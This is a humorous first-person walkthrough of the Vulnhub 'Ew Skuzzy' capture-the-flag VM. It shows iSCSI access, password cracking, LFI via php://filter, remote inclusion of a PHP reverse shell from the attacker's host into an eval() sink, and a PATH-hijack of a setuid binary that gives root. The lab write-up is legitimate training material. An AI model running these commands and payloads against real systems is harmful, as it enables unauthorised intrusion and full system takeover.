Vulnhub: Ew Skuzzy VM walkthrough
I’ve been slowly working my way through this VM in my spare time over the last few of weeks, and I will say that I’ve had a lot of fun with it and a lot of pain too. It was challenging enough for me as an occasional red teamer, and offered an initial attack vector that was wildly different from most VM’s (the clue is in the name). I’d definitely recommending reading no further if you want a suitably challenging but still achievable VM to sink your teeth into!
//minor edit to finish walking through the code block which I apparently forgot to complete.
For those that want to play along:
and before we get into it, thanks to vortexau for creating the VM in the first place.
Contacts:
- Website: https://www.vortex.id.au/
- Twitter: @vortexau
Usual starting points once both VM’s are in place and can see each other, find the IP of the vulnerable machine with arp-scan and then nmap it for those tasty open ports.
When presented with a web server I nearly always go for that first, although the iSCSI port was tempting just because I can’t recall seeing one before! I decided to hold off though and start with 80.
Immediate clues, dirbuster. Intermediate difficulty and starting by telling you what to do? Not entirely convinced…. I smell a red herring! I then began to question the difference in odour between the different hues of the herring. This however is not really relevant to this walk through, so moving on. The other thing to take from this was the suggestion that flag data is of significance at least somewhere in the challenge. Anyway, to rule out the potential double bluff I did indeed fire up dirbuster to find lots of 403 responses and nothing of interest. Shocked to the core I was too, honest.
Having done all the usual and relevant checks of the web server and come up with nothing of interest, I turned my attention to the iscsi port. This was interesting because I knew nothing about what to do with this prior to starting.
Using the following links, I managed to get an idea of what should be going on:
Armed with knowledge (and after installing the relevant tool) I did discovery on the port which resulted in discovery! I claim thee in the name of things and stuff, and subsequently logged into the SCSI device.
Once I had done that, and marvelled at my own expertise, I mounted it in the file system to let me browse the contents. It contained one flag (Yay), an empty directory and one .dsk file
I then did a straight ‘cat’ against the dsk file. That’s right ‘cat’ as in concatenate, as in to join things together, but without actually joining it to anything. I know, off the rails lunacy, the file was so shocked by this turn of events it dumped loads of rubbish but also some human readable goodness and flag2 to boot.
root@kali:/tmp/media# cat bobsdisk.dsk
Xd�<}Kd ����XF��X��S�S;�X
�8�� �� ^��SE�/media/bobsdisk�]��NBI��4Y�Q�6(
f� S;�X���!!!�@@@�aaa������������������!!!�@@@�```����� `�� `�� `�� `�� `�� — - SNIP — -G’day Alice,You know what really annoys me? How you and I ended up being used, like some kind of guinea pigs, by the RSA crypto wonks as actors in their designs for public key crypto… I don’t recall ever being asked if that was ok? I never got even one cent of royalties from them!? RSA have made Millions on our backs, and it’s time we took a stand!Starting now, today, immediately, I’m never using asymmetric key encryption again, and it’s all symmetric keys from here on out. All my files and documents will be encrypted with that popular symmetric crypto algorithm. Uh. Yeah, I can’t pronounce its original name. I don’t even know what the letters in its other name stand for — but really — that’s not important. A bloke at my local hackerspace says its the beez kneez, ridgy-didge, real-deal, the best there is when it comes to symmetric key crypto, he has heaps of stickers on his laptop so I guess it means he knows, right? Anyway, he said it won some big important competition among crypto geeks in October 2000? Lucky Y2K didn’t happen then, I suppose or that would have been one boring party!Anyway this algorithm sounded good to me. I used the updated version that won the competition.You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It’s hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly.Anyway, given I’m not not using asymmetric crypto any longer, I destroyed my private key, so the public key you have for me may as well be deleted. I’ve got some notes for you which might help in your current case, I’ve encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note.Give me a shout when you’re down this way again, we’ll catch up for coffee (once the Lego is removed from my foot) :)Cheers,Bob.PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge…PPS: flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}— - SNIP — -
I’ve put the things in bold that I felt were important from the body of the text because I have the option of making things bold if I want, I nearly went and italicised it too, but I was worried some older readers may have ‘complications’ with such a flagrant disregard for style and etiquette. For the lazy out there that don’t want to scroll up, here’s what I found in a list format.
- Rockyou, I am guessing this is in reference to /usr/share/wordlists/rockyou.txt on a standard kali build.
- -md sha256, how it was encrypted.
- flag, it’s already been indicated some of the flags mean something somewhere!
Passing bobsdisk.dsk through binwalk to extract the contents generated some further content to investigate
and sifting through that we find the ToAlice.eml, which is just the human readable content we have already seen as above, and also an openssl encrypted file with a salted password! That also makes the -md sha256 switch make more sense.
I tried quite a few things for quite a while at this point. I started by trying to use a standard bash for loop to pass the values of rockyou as the password for the encrypted file, it was slow, noisy because the fans really kicked in on my laptop and after about 30 minutes of whirring away, I decided it must be the wrong approach, plus my crotch was getting unreasonably warm.
Next, I scoured the interwebs for a suitable open source tool to do the job and came across this:
I spun it up in very much the same way as the for loop and set it going, and it was certainly much faster, whoooooosh.
Bingo bongo! We have a key!
The problem was it wasn’t the right key. Hmmmm, I started the tool again only to find it exiting at the same point. Strange. I then made a copy of the rockyou.txt, removed the offending line and tried again. I got another key…. it didn’t work either. I repeated this exercise a couple of times before deciding this was a foolish way of doing things, and only the clinically insane would continue down such a path, and returned back to the internets!
The next tool I came across was:
I cloned the repo and tried my best to get it working, it would not. No matter what I did I could not get it working. By this stage I had been on this part for a couple of days, seemingly making no progress and being unable to find a tool to do the job or put one together myself. I was beaten, I would not be awarded the golden hoody of leet hackerness today, I was a fraud! I left it for a couple of days, and went to sulk into a cup of tea.
Having wiped the tears from my eyes, and consoled myself with the fact that although temporarily beaten, I’m an InfoSec Professional™, I came back to the issue with fresh vim and vigour! Almost instantly I found a post about the fact this tool actually exists within the Ubuntu repository and can be installed via sudo apt-get install. Oh shit off! How did I miss that for so long!
Guess what: It works and it’s bleeding rapido too! Another tear shed into a cup of tea, this time, through joy! A password!
Firing that beautiful string at our encrypted file…
Things and stuff!
It’s a csv with column names, so taking the Web Path column and applying my almost Sherlock Holmes level deductive reasoning to it I concluded, it’s probably a path to a website!
http://192.168.56.101/5560a1468022758dba5e92ac8f2353c0/
What’s this? Does this page turn on my webcam?! Nope, I’m moving and the image is static, it must have taken a photo! No hang on! That’s Bruce! I’ll drop him an email and let him know he’s been hacked and he is being watched through his web cam.
I’m not too interested in watching a static image of Bruce so lets move on.
/c2444910794e037ebd8aaf257178c90b
Ooooh a web app, this is more like it.
The last one isn’t a uri! No flies on me, that’s a flag!
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I’ve seen? What is it?
Back to the web app then. Clicking around and ‘Feed Reader’ is by far the most interesting thing to look at.
The POST data is to a reader and localhost and calling a text file which produces the below.
Okay, so we are being told there is a secret key required, so we have something to work with, but first lets take a look at the variables. Is there anything simple we can? Lets start with the most leet and technical approach, directory traversal.
Well they have paid mega bucks to secure this, looks like directory traversal is out. I should probably pack up and go home. Only kidding, the answer is to clear, inhale several cans of redbull, that’s what security people do apparently, and plough through the disappointment and try something less technical!
Lets try spinning up a local webserver and hosting a text file. We can then pass that as our URL and see what happens.
Ah, neutered by the pesky secret key requirement! Okay, we have no idea what that might be, so lets continue faffing with the POST variables.
If we call data.txt from the ‘p’ variable directly bypassing the ‘reader’ variable we can see content of the file printed to screen. We can also see that it is presenting ## in place of “<?php” and “?>”. Some form of conversion is going on somewhere.
At this stage it I really need to get an idea of what the web server is actually doing, and using php://filters we can do just that. Here’s an article on using them for LFI:
Using:
php://filter/convert.base64-encode/resource=**resource location here**
we can display the php file code onto the screen in base64 format. It looks like this for our reader.php page
banging it through a decoder
echo “**base64contenthere**” | base64 -d
Gives us a code block. Stepping through:
<?php
defined (‘VIAINDEX’) or die(‘Ooooh! So close..’);
?>
<h1>Feed Reader</h1>
<?php
if(isset($_GET[‘url’])) {
$url = $_GET[‘url’];
} else {
print(“<a href=\”?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\">Load Feed</a>”);
}
If thr url variable is set GET that URL else (if not) request the locally hosted data.txt
if(isset($url) && strlen($url) != ‘’) { // Setup some variables.
$secretok = false;
$keyneeded = true; // Localhost as a source doesn’t need to use the key.
if(preg_match(“#^http://127.0.0.1#", $url)) {
$keyneeded = false;
$secretok = true;
}
If url is set and the length of the string is NOT null (zero) set up the variables secretok to false and keyneeded to true
// Handle the key validation when it’s needed.
if($keyneeded) {
$key = $_GET[‘key’];
if(is_array($key)) {
die(“Array trick is mitigated ;)”);
}
if(isset($key) && strlen($key) == ‘47’) {
$hashedkey = hash(‘sha256’, $key);
$secret = “5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656”;
If keyneeded is true (url content is longer than zero) we GET the key value
If key value is set and key length is equal to 47 characters the value of hashedkey is set to the sha256 of the provided key.
Predefine the secret as the long string seen above.
// If you can use the following code for a timing attack
// then good luck :) But.. You have the source anyway, right? :)
if(strcmp($hashedkey, $secret) == 0) {
$secretok = true;
} else {
die(“Sorry… Authentication failed. Key was invalid.”);
} } else {
die(“Authentication invalid. You might need a key.”);
}
} // Just to make sure the above key check was passed.
if(!$secretok) {
die(“Something went wrong with the authentication process”);
}
If the comparision of the hashedkey and the secret is equal to zero (true) set the secretok to true.
Else, tell the user the key is invalid.
Else, tell the user they need to provide a key.
// Now load the contents of the file we are reading, and parse
// the super awesomeness of its contents!
$f = file_get_contents($url); $text = preg_split(“/##text##/s”, $f); if(isset($text[‘1’]) && strlen($text[‘1’]) > 0) {
print($text[‘1’]);
} print “<br /><br />”; $php = preg_split(“/##php##/s”, $f);if(isset($php[‘1’]) && strlen($php[‘1’]) > 0) {
eval($php[‘1’]);
// “If Eval is the answer, you’re asking the wrong question!” — SG
// It hurts me to write insecure code like this, but it is in the
// name of education, and FUN, so I’ll let it slide this time.
}
}
Assign the content stored within the url into the variable $f
run that through regex split looking for ‘##text## and if it’s found print text.
Do the same for ##PHP## and if found, eval the content, in laymens terms, run the code.
So starting with the facts, we know we need a 47 character key, lets bang that in and see what falls out. Based on the above code, an invalid key is expected. Which is what we get
Knowing the key must match the secret, and we already have the secret hard coded in, I chucked it into a sha256 decoder. Success. Now SHA256 are quite difficult to crack, I’m assuming someone had already used this service for this hash, which is why it provided the quite unique decoded value.
As an aside, being leet and using the base64 decode approach on the flag.php page also gave us the value, I didn’t realise this until a bit later though. We also get the information that we are going to need the value of the flag.😮
So using our flag as our key, and once again pointing at our test file on our local web server
?p=reader&url=http://192.168.56.102/test.txt&key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
we get…… NOTHING! BAH PAH GAH!
I was once again stuck, I could not figure out where to go next. I took a long look at my life choices, sharpened a pencil and filled out my Burger King application form. As I was putting my address details in I was struck by a thought, they will contact me at home, I am running a web server, anyone trying to contact me will be calling my ‘home’. A quick browse to the access log and I realised that the string was working and I could see the connection attempts in the Apache logs, for ‘reasons’, it was just not displaying the content back to our webpage. Turns out the reasons where obvious, I hadn’t appended the content with ##php## or ##text##, as described in the code block walk through. I am an idiot.
Balling the Burger King application up and depositing it in the low profile round filing cabinet I resolved to never work at Burger King and finally get around to completing this bloody VM.
I then used the ever reliable php reverse shell script that’s part of the default build of Kali, why reinvent the wheel, I’m unlikely to achieve anything more circular.
/usr/share/webshells/php/
It failed. I’m wearing my new none defeatist attitude so this minor blip was like water off a ducks back, yes indeed I am the veritable all terrain chicken!
Remember the lunacy of the conversations of <?php and ?> to ##? Yeah, well I did, converting the script to #’s,
root@kali:/var/www/html# head shell.php
##php##
// php-reverse-shell — A Reverse Shell implementation in PHP
// Copyright © 2007 pentestmonkey@pentestmonkey.net
starting up a lovely little nc listener and having another stab at the problem:
Oh yes, that’s a limited shell, happy days indeed.
I whipped out *ahem* my pen testing crutch.. and got to some enumeration.
http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation
If you’ve not read this and are interested in pen testing, read it.
I fixed the terminal at this stage:
python -c 'import pty;pty.spawn("/bin/bash")'
Then did some searching for Sticky bits, SUIDs & GUIDs
SUIDs chucked this back.
www-data@skuzzy:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/sudo
/bin/fusermount
/bin/mount
/bin/su
/bin/ntfs-3g
/bin/ping
/bin/ping6
/bin/umount
/opt/alicebackup
Alice? ALICE? Who the f*ck is Alice? and more to the point, what is the file?!
www-data@skuzzy:/opt$ file al
file alicebackup
alicebackup: setuid ELF 64-bit LSB shared object, x86–64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86–64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=587cb3f605572eb675e8c71496610e7cce2a3a97, not stripped
It’s an ELF file:
So, I guess we should execute it then.
www-data@skuzzy:/opt$ ./a
./alicebackup
uid=0(root) gid=0(root) groups=0(root),33(www-data)
ssh: Could not resolve hostname alice.home: Temporary failure in name resolution
lost connection
So it looks like it performs an ‘id’ and as root no less! Then followed by what looks to be an attempt to ssh to alice.home.
Using strings we see:
www-data@skuzzy:/opt$ strings al
strings alicebackup
/lib64/ld-linux-x86–64.so.2-- SNIP --
GLIBC_2.2.5
=i
=J
AWAVA
AUATL
[]A\A]A^A_
scp /tmp/special bob@alice.home:~
;*3$”
GCC: (Debian 6.3.0–6) 6.3.0 20170205
crtstuff.c-- SNIP --
It looks like the file is actually using scp to copy /tmp/special to bob@alice.home
Here’s some more info on scp (secure copy)
Confirming things we can use ltrace, which has handily been left on the box for us.
www-data@skuzzy:/opt$ ltrace alicebackup
ltrace alicebackup
setuid(0) = -1
setgid(0) = -1
system(“id”uid=33(www-data) gid=33(www-data) groups=33(www-data)
<no return …>
— — SIGCHLD (Child exited) — -
<… system resumed> ) = 0
system(“scp /tmp/special bob@alice.home:”…ssh: Could not resolve hostname alice.home: Temporary failure in name resolution
lost connection
<no return …>
— — SIGCHLD (Child exited) — -
<… system resumed> ) = 256
+++ exited (status 0) +++
Anyway, the thing to take note of here is the fact that scp is being called from a relevant path vs an absolute path. What this means is that if we make our our own ‘version’ of scp and place it in the right location we can cause our version to be run.
First we need to introduce a new location into our $PATH
www-data@skuzzy:/$ echo $PATH
echo $PATH
/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:.
www-data@skuzzy:/$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
www-data@skuzzy:/$ echo $PATH
echo $PATH
/tmp:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:.
Now we have /tmp in our path we can add our own ‘version’ of scp into this /tmp location.
www-data@skuzzy:/opt$ echo “/bin/bash” > /tmp/scp
echo “/bin/bash” > /tmp/scp
Next we need to give it executable privileges
www-data@skuzzy:/opt$ chmod 777 /tmp/scp
chmod 777 /tmp/scp
and finally (and after nearly three weeks of on and off prattling about)
www-data@skuzzy:/opt$ ./alicebackup
./alicebackup
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@skuzzy:/opt# whoami
whoami
root
Phew!